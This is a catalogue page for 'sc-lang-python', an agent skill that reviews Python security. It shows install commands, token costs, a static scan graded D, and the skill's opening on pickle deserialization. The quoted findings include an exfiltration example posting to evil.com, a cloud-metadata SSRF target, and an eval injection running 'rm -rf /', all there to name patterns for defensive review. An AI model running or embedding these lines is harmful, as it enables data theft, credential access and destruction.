Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/ersinkoc/security-check/sc-lang-pythonnpx skills add ersinkoc/security-check --skill sc-lang-pythongit clone --depth 1 https://github.com/ersinkoc/security-checkWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00009 | $0.08631 |
| Opus 5 | $0.00005 | $0.04315 |
| Sonnet 5 | $0.00002 | $0.01726 |
| Haiku 4.5 | $0.00001 | $0.00863 |
Grade D, and why
sc-lang-python scanned grade D with 7 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
requests.post("https://evil.com/collect", data={ Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Encoded or obfuscated payloadmediumSupply chain
base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.
- `marshal.loads(data)` / `marshal.load(file)` Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
- Accessing `http://169.254.169.254/` (cloud metadata) Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Unrestricted tool accesslowExcessive agency
A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.
**Description**: Python's `pickle` module can deserialize arbitrary objects, including those with `__reduce__` methods that execute arbitrary code. An attacker who controls pickled input can achieve full remote code exec Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Recursive force deletemediumDestructive command
rm -rf with a variable or a broad path is one typo away from removing the wrong tree.
return eval(expression) # User sends "__import__('os').system('rm -rf /')" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
**Description**: Disabling SSL verification with `verify=False` enables man-in-the-middle attacks. Passing user-controlled URLs to `requests.get()` without validation enables Server-Side Request Forgery (SSRF) to reach i Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
**Description**: `yaml.load()` without a safe Loader can instantiate arbitrary Python objects via YAML tags like `!!python/object/apply:os.system`. This is equivalent to pickle deserialization in risk. How it starts
The opening of the file, as written. The whole thing — 1,086 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SC: Python Security Deep Scan
Purpose
Detects Python-specific security anti-patterns and language-idiomatic attack vectors across the entire Python ecosystem, including standard library misuse, web framework pitfalls, serialization dangers, cryptographic weaknesses, and supply-chain risks. This skill goes beyond generic vulnerability scanning to identify issues that are unique to Python's dynamic nature, duck typing, and common idioms.
Activation
Activates when Python source files (.py, .pyw, .pyi) are detected in the scan target, or when Python-related configuration files (pyproject.toml, setup.py, setup.cfg, Pipfile, requirements.txt, poetry.lock, tox.ini, pytest.ini, .flake8) are present.
Checklist Reference
References references/python-security-checklist.md for the full enumeration of checks. Each category below maps to one or more checklist items.
Severity Levels
- CRITICAL: Remote code execution, authentication bypass, data exfiltration
- HIGH: SQL injection, SSRF, path traversal, insecure deserialization
- MEDIUM: Weak cryptography, information disclosure, insecure defaults
- LOW: Best-practice violations, minor information leaks, code quality
Python-Specific Vulnerability Patterns
1. Pickle Deserialization RCE
Description: Python's pickle module can deserialize arbitrary objects, including those with __reduce__ methods that execute arbitrary code. An attacker who controls pickled input can achieve full remote code execution.
Dangerous Functions:
pickle.loads(),pickle.load()pickle.Unpickler().load()cPickle.loads(),cPickle.load()joblib.load()(uses pickle internally)torch.load()(uses pickle internally)numpy.load(allow_pickle=True)
Safe Alternative: Use json, msgpack, or protocol buffers for data interchange. If pickle is absolutely required, use hmac to sign pickled data and verify before loading, or use fickling to audit pickle files.
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 1,086 lines · 9 tokens per session scan D 9accb2d2eb51
sc-lang-python is a skill published in the GitHub repository ersinkoc/security-check (56 stars, last pushed 1mo ago), licensed MIT. It adds 9 tokens to every session and 8,631 once invoked, about $0.0000 per session on Opus 5. A static security scan graded it D with 7 findings (sends data to an external url, encoded or obfuscated payload, cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
next-cache-components-adoption
Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…
babysit-pr
Babysit a GitHub pull request after creation by continuously polling review comments, CI checks/workflow runs, and mergeability state until the PR is merged/closed or user help is required. Diagnose failures, retry likely flaky failures up to 3 times, auto-fix/push branch-related issues when appropriate, and keep…
imagegen
Generate or edit raster images when the task benefits from AI-created bitmap visuals such as photos, illustrations, textures, sprites, mockups, or transparent-background cutouts. Use when Codex should create a brand-new image, transform an existing image, or derive visual variants from references, and the output…
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…
next-cache-components-optimizer
Drive a Next.js route to instant navigation by setting up an agentic loop, under Cache Components / PPR, on initial load (hard navigation) and client-side navigation (soft navigation). Encode the goal as a failing @next/playwright instant() e2e and work it to green, one verified route at a time; the shipped test then…